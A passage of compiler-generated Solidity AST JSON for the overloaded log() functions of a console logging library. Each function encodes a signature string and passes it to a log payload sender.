nal"},{"constant":false,"id":19991,"mutability":"mutable","name":"p1","nameLocation":"36189:2:14","nodeType":"VariableDeclaration","scope":20010,"src":"36175:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19990,"name":"string","nodeType":"ElementaryTypeName","src":"36175:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19993,"mutability":"mutable","name":"p2","nameLocation":"36201:2:14","nodeType":"VariableDeclaration","scope":20010,"src":"36193:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19992,"name":"address","nodeType":"ElementaryTypeName","src":"36193:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":19995,"mutability":"mutable","name":"p3","nameLocation":"36219:2:14","nodeType":"VariableDeclaration","scope":20010,"src":"36205:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19994,"name":"string","nodeType":"ElementaryTypeName","src":"36205:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"36156:66:14"},"returnParameters":{"id":19997,"nodeType":"ParameterList","parameters":[],"src":"36237:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20033,"nodeType":"FunctionDefinition","src":"36353:192:14","nodes":[],"body":{"id":20032,"nodeType":"Block","src":"36437:108:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c616464726573732c626f6f6c29","id":20024,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"36487:33:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_5ccd4e373eb6ae26626c8607ae861c55cda5fd321363edde7e6328e09072ba63","typeString":"literal_string \"log(string,string,address,bool)\""},"value":"log(string,string,address,bool)"},{"id":20025,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20012,"src":"36522:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20026,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20014,"src":"36526:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20027,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20016,"src":"36530:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":20028,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20018,"src":"36534:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5ccd4e373eb6ae26626c8607ae861c55cda5fd321363edde7e6328e09072ba63","typeString":"literal_string \"log(string,string,address,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":20022,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"36463:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20023,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"36467:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"36463:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20029,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"36463:74:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20021,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"36447:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20030,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"36447:91:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20031,"nodeType":"ExpressionStatement","src":"36447:91:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"36362:3:14","parameters":{"id":20019,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20012,"mutability":"mutable","name":"p0","nameLocation":"36380:2:14","nodeType":"VariableDeclaration","scope":20033,"src":"36366:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20011,"name":"string","nodeType":"ElementaryTypeName","src":"36366:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20014,"mutability":"mutable","name":"p1","nameLocation":"36398:2:14","nodeType":"VariableDeclaration","scope":20033,"src":"36384:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20013,"name":"string","nodeType":"ElementaryTypeName","src":"36384:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20016,"mutability":"mutable","name":"p2","nameLocation":"36410:2:14","nodeType":"VariableDeclaration","scope":20033,"src":"36402:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20015,"name":"address","nodeType":"ElementaryTypeName","src":"36402:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":20018,"mutability":"mutable","name":"p3","nameLocation":"36419:2:14","nodeType":"VariableDeclaration","scope":20033,"src":"36414:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20017,"name":"bool","nodeType":"ElementaryTypeName","src":"36414:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"36365:57:14"},"returnParameters":{"id":20020,"nodeType":"ParameterList","parameters":[],"src":"36437:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20056,"nodeType":"FunctionDefinition","src":"36551:198:14","nodes":[],"body":{"id":20055,"nodeType":"Block","src":"36638:111:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c616464726573732c6164647265737329","id":20047,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"36688:36:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_439c7befd1b6bfcb9bd001c1f3a991ef43c070f0ace0c190dd9f16d7ae338a5d","typeString":"literal_string \"log(string,string,address,address)\""},"value":"log(string,string,address,address)"},{"id":20048,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20035,"src":"36726:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20049,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20037,"src":"36730:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20050,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20039,"src":"36734:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":20051,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20041,"src":"36738:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_439c7befd1b6bfcb9bd001c1f3a991ef43c070f0ace0c190dd9f16d7ae338a5d","typeString":"literal_string \"log(string,string,address,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":20045,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"36664:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20046,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"36668:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"36664:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20052,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"36664:77:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20044,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"36648:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20053,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"36648:94:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20054,"nodeType":"ExpressionStatement","src":"36648:94:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"36560:3:14","parameters":{"id":20042,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20035,"mutability":"mutable","name":"p0","nameLocation":"36578:2:14","nodeType":"VariableDeclaration","scope":20056,"src":"36564:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20034,"name":"string","nodeType":"ElementaryTypeName","src":"36564:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20037,"mutability":"mutable","name":"p1","nameLocation":"36596:2:14","nodeType":"VariableDeclaration","scope":20056,"src":"36582:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20036,"name":"string","nodeType":"ElementaryTypeName","src":"36582:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20039,"mutability":"mutable","name":"p2","nameLocation":"36608:2:14","nodeType":"VariableDeclaration","scope":20056,"src":"36600:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20038,"name":"address","nodeType":"ElementaryTypeName","src":"36600:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":20041,"mutability":"mutable","name":"p3","nameLocation":"36620:2:14","nodeType":"VariableDeclaration","scope":20056,"src":"36612:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20040,"name":"address","nodeType":"ElementaryTypeName","src":"36612:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"36563:60:14"},"returnParameters":{"id":20043,"nodeType":"ParameterList","parameters":[],"src":"36638:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20079,"nodeType":"FunctionDefinition","src":"36755:175:14","nodes":[],"body":{"id":20078,"nodeType":"Block","src":"36827:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c75696e742c75696e7429","id":20070,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"36877:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_5dbff038873b5f716761e9dcaab0713a903ceaebb2ba8c30b199c4dc534f7701","typeString":"literal_string \"log(string,bool,uint,uint)\""},"value":"log(string,bool,uint,uint)"},{"id":20071,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20058,"src":"36907:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20072,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20060,"src":"36911:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20073,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20062,"src":"36915:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":20074,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20064,"src":"36919:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5dbff038873b5f716761e9dcaab0713a903ceaebb2ba8c30b199c4dc534f7701","typeString":"literal_string \"log(string,bool,uint,uint)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":20068,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"36853:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20069,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"36857:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"36853:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20075,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"36853:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20067,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"36837:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20076,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"36837:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20077,"nodeType":"ExpressionStatement","src":"36837:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"36764:3:14","parameters":{"id":20065,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20058,"mutability":"mutable","name":"p0","nameLocation":"36782:2:14","nodeType":"VariableDeclaration","scope":20079,"src":"36768:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20057,"name":"string","nodeType":"ElementaryTypeName","src":"36768:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20060,"mutability":"mutable","name":"p1","nameLocation":"36791:2:14","nodeType":"VariableDeclaration","scope":20079,"src":"36786:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20059,"name":"bool","nodeType":"ElementaryTypeName","src":"36786:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20062,"mutability":"mutable","name":"p2","nameLocation":"36800:2:14","nodeType":"VariableDeclaration","scope":20079,"src":"36795:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20061,"name":"uint","nodeType":"ElementaryTypeName","src":"36795:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":20064,"mutability":"mutable","name":"p3","nameLocation":"36809:2:14","nodeType":"VariableDeclaration","scope":20079,"src":"36804:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20063,"name":"uint","nodeType":"ElementaryTypeName","src":"36804:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"36767:45:14"},"returnParameters":{"id":20066,"nodeType":"ParameterList","parameters":[],"src":"36827:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20102,"nodeType":"FunctionDefinition","src":"36936:186:14","nodes":[],"body":{"id":20101,"nodeType":"Block","src":"37017:105:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c75696e742c737472696e6729","id":20093,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"37067:30:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_42b9a2274d0e9ab9211da679bc79f433c4055060036260a350e95cf10b9004ee","typeString":"literal_string \"log(string,bool,uint,string)\""},"value":"log(string,bool,uint,string)"},{"id":20094,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20081,"src":"37099:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20095,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20083,"src":"37103:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20096,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20085,"src":"37107:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":20097,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20087,"src":"37111:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_42b9a2274d0e9ab9211da679bc79f433c4055060036260a350e95cf10b9004ee","typeString":"literal_string \"log(string,bool,uint,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":20091,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"37043:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20092,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"37047:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"37043:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20098,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"37043:71:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20090,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"37027:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20099,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"37027:88:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20100,"nodeType":"ExpressionStatement","src":"37027:88:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"36945:3:14","parameters":{"id":20088,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20081,"mutability":"mutable","name":"p0","nameLocation":"36963:2:14","nodeType":"VariableDeclaration","scope":20102,"src":"36949:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20080,"name":"string","nodeType":"ElementaryTypeName","src":"36949:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20083,"mutability":"mutable","name":"p1","nameLocation":"36972:2:14","nodeType":"VariableDeclaration","scope":20102,"src":"36967:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20082,"name":"bool","nodeType":"ElementaryTypeName","src":"36967:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20085,"mutability":"mutable","name":"p2","nameLocation":"36981:2:14","nodeType":"VariableDeclaration","scope":20102,"src":"36976:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20084,"name":"uint","nodeType":"ElementaryTypeName","src":"36976:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":20087,"mutability":"mutable","name":"p3","nameLocation":"36999:2:14","nodeType":"VariableDeclaration","scope":20102,"src":"36985:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20086,"name":"string","nodeType":"ElementaryTypeName","src":"36985:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"36948:54:14"},"returnParameters":{"id":20089,"nodeType":"ParameterList","parameters":[],"src":"37017:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20125,"nodeType":"FunctionDefinition","src":"37128:175:14","nodes":[],"body":{"id":20124,"nodeType":"Block","src":"37200:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c75696e742c626f6f6c29","id":20116,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"37250:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_3cc5b5d38fa67d61ad4f760e2dab344ea54d36d39a7b72ff747c1e117e2289bb","typeString":"literal_string \"log(string,bool,uint,bool)\""},"value":"log(string,bool,uint,bool)"},{"id":20117,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20104,"src":"37280:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20118,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20106,"src":"37284:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20119,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20108,"src":"37288:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":20120,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20110,"src":"37292:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3cc5b5d38fa67d61ad4f760e2dab344ea54d36d39a7b72ff747c1e117e2289bb","typeString":"literal_string \"log(string,bool,uint,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":20114,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"37226:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20115,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"37230:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"37226:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20121,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"37226:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20113,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"37210:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20122,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"37210:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20123,"nodeType":"ExpressionStatement","src":"37210:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"37137:3:14","parameters":{"id":20111,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20104,"mutability":"mutable","name":"p0","nameLocation":"37155:2:14","nodeType":"VariableDeclaration","scope":20125,"src":"37141:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20103,"name":"string","nodeType":"ElementaryTypeName","src":"37141:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20106,"mutability":"mutable","name":"p1","nameLocation":"37164:2:14","nodeType":"VariableDeclaration","scope":20125,"src":"37159:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20105,"name":"bool","nodeType":"ElementaryTypeName","src":"37159:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20108,"mutability":"mutable","name":"p2","nameLocation":"37173:2:14","nodeType":"VariableDeclaration","scope":20125,"src":"37168:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20107,"name":"uint","nodeType":"ElementaryTypeName","src":"37168:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":20110,"mutability":"mutable","name":"p3","nameLocation":"37182:2:14","nodeType":"VariableDeclaration","scope":20125,"src":"37177:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20109,"name":"bool","nodeType":"ElementaryTypeName","src":"37177:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"37140:45:14"},"returnParameters":{"id":20112,"nodeType":"ParameterList","parameters":[],"src":"37200:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20148,"nodeType":"FunctionDefinition","src":"37309:181:14","nodes":[],"body":{"id":20147,"nodeType":"Block","src":"37384:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c75696e742c6164647265737329","id":20139,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"37434:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_71d3850da171f493bcf1bd9faa0694f71484214d8459bca427251a9ad3e9bbd6","typeString":"literal_string \"log(string,bool,uint,address)\""},"value":"log(string,bool,uint,address)"},{"id":20140,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20127,"src":"37467:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string 